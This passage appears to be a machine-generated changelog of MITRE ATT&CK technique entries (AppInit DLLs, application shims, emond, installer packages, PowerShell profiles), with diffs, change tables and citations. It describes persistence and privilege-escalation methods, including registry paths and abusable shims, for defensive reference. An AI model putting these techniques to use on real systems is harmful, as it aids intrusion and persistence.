Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows or HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\\n \\n-Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n+Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n \\n-The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\\n+The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppInit DLLs | > | ges by executing malicious content triggered by AppInit DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppInit_DLLs</code> value in the R | > | re specified in the <code>AppInit_DLLs</code> value in the R | ||
| > | egistry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Win | > | egistry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Win | ||
| > | dows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MA | > | dows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MA | ||
| > | CHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersi | > | CHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersi | ||
| > | on\\Windows</code> are loaded by user32.dll into every proces | > | on\\Windows</code> are loaded by user32.dll into every proces | ||
| > | s that loads user32.dll. In practice this is nearly every pr | > | s that loads user32.dll. In practice this is nearly every pr | ||
| > | ogram, since user32.dll is a very common library. (Citation: | > | ogram, since user32.dll is a very common library.(Citation: | ||
| > | Elastic Process Injection July 2017) Similar to Process In | > | Elastic Process Injection July 2017) Similar to Process Inj | ||
| > | jection, these values can be abused to obtain elevated privi | > | ection, these values can be abused to obtain elevated privil | ||
| > | leges by causing a malicious DLL to be loaded and run in the | > | eges by causing a malicious DLL to be loaded and run in the | ||
| > | context of separate processes on the computer. (Citation: A | > | context of separate processes on the computer.(Citation: App | ||
| > | ppInit Registry) Malicious AppInit DLLs may also provide per | > | Init Registry) Malicious AppInit DLLs may also provide persi | ||
| > | sistence by continuously being triggered by API activity. | > | stence by continuously being triggered by API activity. Th | ||
| > | The AppInit DLL functionality is disabled in Windows 8 and l | > | e AppInit DLL functionality is disabled in Windows 8 and lat | ||
| > | ater versions when secure boot is enabled. (Citation: AppIni | > | er versions when secure boot is enabled.(Citation: AppInit S | ||
| > | t Secure Boot) | > | ecure Boot) |
%WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/011",
"external_id": "T1546.011"
},
{
"source_name": "FireEye Application Shimming",
"description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
"url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:23:08.594000+00:00\", \"old_value\": \"2025-10-24 17:48:42.703000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)\\n\\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n\\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\\n\\n* %WINDIR%\\\\AppPatch\\\\sysmain.sdb and\\n* hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\installedsdb\\n\\nCustom databases are stored in:\\n\\n* %WINDIR%\\\\AppPatch\\\\custom & %WINDIR%\\\\AppPatch\\\\AppPatch64\\\\Custom and\\n* hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\custom\\n\\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n\\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\\n\\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n\\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\\n\\n* %WINDIR%\\\\AppPatch\\\\sysmain.sdb and\\n* hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\installedsdb\\n\\nCustom databases are stored in:\\n\\n* %WINDIR%\\\\AppPatch\\\\custom & %WINDIR%\\\\AppPatch\\\\AppPatch64\\\\Custom and\\n* hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\custom\\n\\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n\\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)\\n \\n Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n \\n@@ -14,4 +14,4 @@\\n \\n To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n \\n-Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\\n+Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Black Hat 2015 App Shim\", \"description\": \"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.\", \"url\": \"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by application | > | ges by executing malicious content triggered by application | ||
| > | shims. The Microsoft Windows Application Compatibility Infra | > | shims. The Microsoft Windows Application Compatibility Infra | ||
| > | structure/Framework (Application Shim) was created to allow | > | structure/Framework (Application Shim) was created to allow | ||
| > | for backward compatibility of software as the operating syst | > | for backward compatibility of software as the operating syst | ||
| > | em codebase changes over time. For example, the application | > | em codebase changes over time. For example, the application | ||
| > | shimming feature allows developers to apply fixes to applica | > | shimming feature allows developers to apply fixes to applica | ||
| > | tions (without rewriting code) that were created for Windows | > | tions (without rewriting code) that were created for Windows | ||
| > | XP so that it will work with Windows 10. (Citation: Elastic | > | XP so that they will work with Windows 10.(Citation: Elasti | ||
| > | Process Injection July 2017) Within the framework, shims a | > | c Process Injection July 2017) Within the framework, shims | ||
| > | re created to act as a buffer between the program (or more s | > | are created to act as a buffer between the program (or more | ||
| > | pecifically, the Import Address Table) and the Windows OS. W | > | specifically, the Import Address Table) and the Windows OS. | ||
| > | hen a program is executed, the shim cache is referenced to d | > | When a program is executed, the shim cache is referenced to | ||
| > | etermine if the program requires the use of the shim databas | > | determine if the program requires the use of the shim databa | ||
| > | e (.sdb). If so, the shim database uses hooking to redirect | > | se (.sdb). If so, the shim database uses hooking to redirect | ||
| > | the code as necessary in order to communicate with the OS. | > | the code as necessary in order to communicate with the OS. | ||
| > | A list of all shims currently installed by the default Wind | > | A list of all shims currently installed by the default Win | ||
| > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\\Ap | > | dows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\\A | ||
| > | pPatch\\sysmain.sdb</code> and * <code>hklm\\software\\microsof | > | ppPatch\\sysmain.sdb</code> and * <code>hklm\\software\\microso | ||
| > | t\\windows nt\\currentversion\\appcompatflags\\installedsdb</cod | > | ft\\windows nt\\currentversion\\appcompatflags\\installedsdb</co | ||
| > | e> Custom databases are stored in: * <code>%WINDIR%\\AppPat | > | de> Custom databases are stored in: * <code>%WINDIR%\\AppPa | ||
| > | ch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and * | > | tch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and | ||
| > | <code>hklm\\software\\microsoft\\windows nt\\currentversion\\app | > | * <code>hklm\\software\\microsoft\\windows nt\\currentversion\\ap | ||
| > | compatflags\\custom</code> To keep shims secure, Windows des | > | pcompatflags\\custom</code> To keep shims secure, Windows de | ||
| > | igned them to run in user mode so they cannot modify the ker | > | signed them to run in user mode so they cannot modify the ke | ||
| > | nel and you must have administrator privileges to install a | > | rnel and you must have administrator privileges to install a | ||
| > | shim. However, certain shims can be used to [Bypass User Acc | > | shim. However, certain shims can be used to [Bypass User Ac | ||
| > | ount Control](https://attack.mitre.org/techniques/T1548/002) | > | count Control](https://attack.mitre.org/techniques/T1548/002 | ||
| > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | > | ) (UAC and RedirectEXE), inject DLLs into processes (InjectD | ||
| > | L), disable Data Execution Prevention (DisableNX) and Struct | > | LL), disable Data Execution Prevention (DisableNX) and Struc | ||
| > | ure Exception Handling (DisableSEH), and intercept memory ad | > | ture Exception Handling (DisableSEH), and intercept memory a | ||
| > | dresses (GetProcAddress). Utilizing these shims may allow a | > | ddresses (GetProcAddress). Utilizing these shims may allow | ||
| > | n adversary to perform several malicious acts such as elevat | > | an adversary to perform several malicious acts such as eleva | ||
| > | e privileges, install backdoors, disable defenses like Windo | > | te privileges, install backdoors, disable defenses like Wind | ||
| > | ws Defender, etc. (Citation: FireEye Application Shimming) S | > | ows Defender, etc.(Citation: FireEye Application Shimming) S | ||
| > | hims can also be abused to establish persistence by continuo | > | hims can also be abused to establish persistence by continuo | ||
| > | usly being invoked by affected programs. | > | usly being invoked by affected programs. |
/sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/014",
"external_id": "T1546.014"
},
{
"source_name": "magnusviri emond Apr 2016",
"description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
"url": "http://www.magnusviri.com/Mac/what-is-emond.html"
},
{
"source_name": "xorrior emond Jan 2018",
"description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
"url": "https://www.xorrior.com/emond-persistence/"
},
{
"source_name": "sentinelone macos persist Jun 2019",
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Ivan Sinyakov"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:36:45.423000+00:00\", \"old_value\": \"2025-10-24 17:49:08.766000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\\n\\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n\\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\", \"old_value\": \"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\\n\\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n\\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\\n \\n-Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\\n+Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain persistence and elevate privileges by e | t | 1 | Adversaries may gain persistence and elevate privileges by e |
| > | xecuting malicious content triggered by the Event Monitor Da | > | xecuting malicious content triggered by the Event Monitor Da | ||
| > | emon (emond). Emond is a [Launch Daemon](https://attack.mitr | > | emon (emond). Emond is a [Launch Daemon](https://attack.mitr | ||
| > | e.org/techniques/T1543/004) that accepts events from various | > | e.org/techniques/T1543/004) that accepts events from various | ||
| > | services, runs them through a simple rules engine, and take | > | services, runs them through a simple rules engine, and take | ||
| > | s action. The emond binary at <code>/sbin/emond</code> will | > | s action. The emond binary at <code>/sbin/emond</code> will | ||
| > | load any rules from the <code>/etc/emond.d/rules/</code> dir | > | load any rules from the <code>/etc/emond.d/rules/</code> dir | ||
| > | ectory and take action once an explicitly defined event take | > | ectory and take action once an explicitly defined event take | ||
| > | s place. The rule files are in the plist format and define | > | s place. The rule files are in the plist format and define | ||
| > | the name, event type, and action to take. Some examples of e | > | the name, event type, and action to take. Some examples of e | ||
| > | vent types include system startup and user authentication. E | > | vent types include system startup and user authentication. E | ||
| > | xamples of actions are to run a system command or send an em | > | xamples of actions are to run a system command or send an em | ||
| > | ail. The emond service will not launch if there is no file p | > | ail. The emond service will not launch if there is no file p | ||
| > | resent in the QueueDirectories path <code>/private/var/db/em | > | resent in the QueueDirectories path <code>/private/var/db/em | ||
| > | ondClients</code>, specified in the [Launch Daemon](https:// | > | ondClients</code>, specified in the [Launch Daemon](https:// | ||
| > | attack.mitre.org/techniques/T1543/004) configuration file at | > | attack.mitre.org/techniques/T1543/004) configuration file at | ||
| > | <code>/System/Library/LaunchDaemons/com.apple.emond.plist</c | > | <code>/System/Library/LaunchDaemons/com.apple.emond.plist</c | ||
| > | ode>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri | > | ode>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri | ||
| > | emond Apr 2016)(Citation: sentinelone macos persist Jun 201 | > | emond Apr 2016)(Citation: sentinelone macos persist Jun 201 | ||
| > | 9) Adversaries may abuse this service by writing a rule to | > | 9) Adversaries may abuse this service by writing a rule to | ||
| > | execute commands when a defined event occurs, such as system | > | execute commands when a defined event occurs, such as system | ||
| > | start up or user authentication.(Citation: xorrior emond Ja | > | startup or user authentication.(Citation: xorrior emond Jan | ||
| > | n 2018)(Citation: magnusviri emond Apr 2016)(Citation: senti | > | 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentin | ||
| > | nelone macos persist Jun 2019) Adversaries may also be able | > | elone macos persist Jun 2019) Adversaries may also be able t | ||
| > | to escalate privileges from administrator to root as the emo | > | o escalate privileges from administrator to root as the emon | ||
| > | nd service is executed with root privileges by the [Launch D | > | d service is executed with root privileges by the [Launch Da | ||
| > | aemon](https://attack.mitre.org/techniques/T1543/004) servic | > | emon](https://attack.mitre.org/techniques/T1543/004) service | ||
| > | e. | > | . |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and elevate privileges | t | 1 | Adversaries may establish persistence and elevate privileges |
| > | by using an installer to trigger the execution of malicious | > | by using an installer to trigger the execution of malicious | ||
| > | content. Installer packages are OS specific and contain the | > | content. Installer packages are OS specific and contain the | ||
| > | resources an operating system needs to install applications | > | resources an operating system needs to install applications | ||
| > | on a system. Installer packages can include scripts that ru | > | on a system. Installer packages can include scripts that ru | ||
| > | n prior to installation as well as after installation is com | > | n prior to installation as well as after installation is com | ||
| > | plete. Installer scripts may inherit elevated permissions wh | > | plete. Installer scripts may inherit elevated permissions wh | ||
| > | en executed. Developers often use these scripts to prepare t | > | en executed. Developers often use these scripts to prepare t | ||
| > | he environment for installation, check requirements, downloa | > | he environment for installation, check requirements, downloa | ||
| > | d dependencies, and remove files after installation.(Citatio | > | d dependencies, and remove files after installation.(Citatio | ||
| > | n: Installer Package Scripting Rich Trouton) Using legitima | > | n: Installer Package Scripting Rich Trouton) Using legitima | ||
| > | te applications, adversaries have distributed applications w | > | te applications, adversaries have distributed applications w | ||
| > | ith modified installer scripts to execute malicious content. | > | ith modified installer scripts to execute malicious content. | ||
| > | When a user installs the application, they may be required | > | When a user installs the application, they may be required | ||
| > | to grant administrative permissions to allow the installatio | > | to grant administrative permissions to allow the installatio | ||
| > | n. At the end of the installation process of the legitimate | > | n. At the end of the installation process of the legitimate | ||
| > | application, content such as macOS `postinstall` scripts can | > | application, content such as macOS `postinstall` scripts can | ||
| > | be executed with the inherited elevated permissions. Advers | > | be executed with the inherited elevated permissions. Advers | ||
| > | aries can use these scripts to execute a malicious executabl | > | aries can use these scripts to execute a malicious executabl | ||
| > | e or install other malicious components (such as a [Launch D | > | e or install other malicious components (such as a [Launch D | ||
| > | aemon](https://attack.mitre.org/techniques/T1543/004)) with | > | aemon](https://attack.mitre.org/techniques/T1543/004)) with | ||
| > | the elevated permissions.(Citation: Application Bundle Manip | > | the elevated permissions.(Citation: Application Bundle Manip | ||
| > | ulation Brandon Dalton)(Citation: wardle evilquest parti)(Ci | > | ulation Brandon Dalton)(Citation: wardle evilquest parti)(Ci | ||
| > | tation: Windows AppleJeus GReAT)(Citation: Debian Manual Mai | > | tation: Windows AppleJeus GReAT)(Citation: Debian Manual Mai | ||
| > | ntainer Scripts) Depending on the distribution, Linux versi | > | ntainer Scripts) Depending on the distribution, Linux versi | ||
| > | ons of package installer scripts are sometimes called mainta | > | ons of package installer scripts are sometimes called mainta | ||
| > | iner scripts or post installation scripts. These scripts can | > | iner scripts or post installation scripts. These scripts can | ||
| > | include `preinst`, `postinst`, `prerm`, `postrm` scripts an | > | include `preinst`, `postinst`, `prerm`, `postrm` scripts an | ||
| > | d run as root when executed. For Windows, the Microsoft Ins | > | d run as root when executed. For Windows, the Microsoft Ins | ||
| > | taller services uses `.msi` files to manage the installing, | > | taller service uses `.msi` files to manage the installing, u | ||
| > | updating, and uninstalling of applications. These installati | > | pdating, and uninstalling of applications. These installatio | ||
| > | on routines may also include instructions to perform additio | > | n routines may also include instructions to perform addition | ||
| > | nal actions that may be abused by adversaries.(Citation: Mic | > | al actions that may be abused by adversaries.(Citation: Micr | ||
| > | rosoft Installation Procedures) | > | osoft Installation Procedures) |
profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.(Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched.(Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.(Citation: Wits End and Shady PowerShell Profiles)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/013",
"external_id": "T1546.013"
},
{
"source_name": "Wits End and Shady PowerShell Profiles",
"description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
"url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
},
{
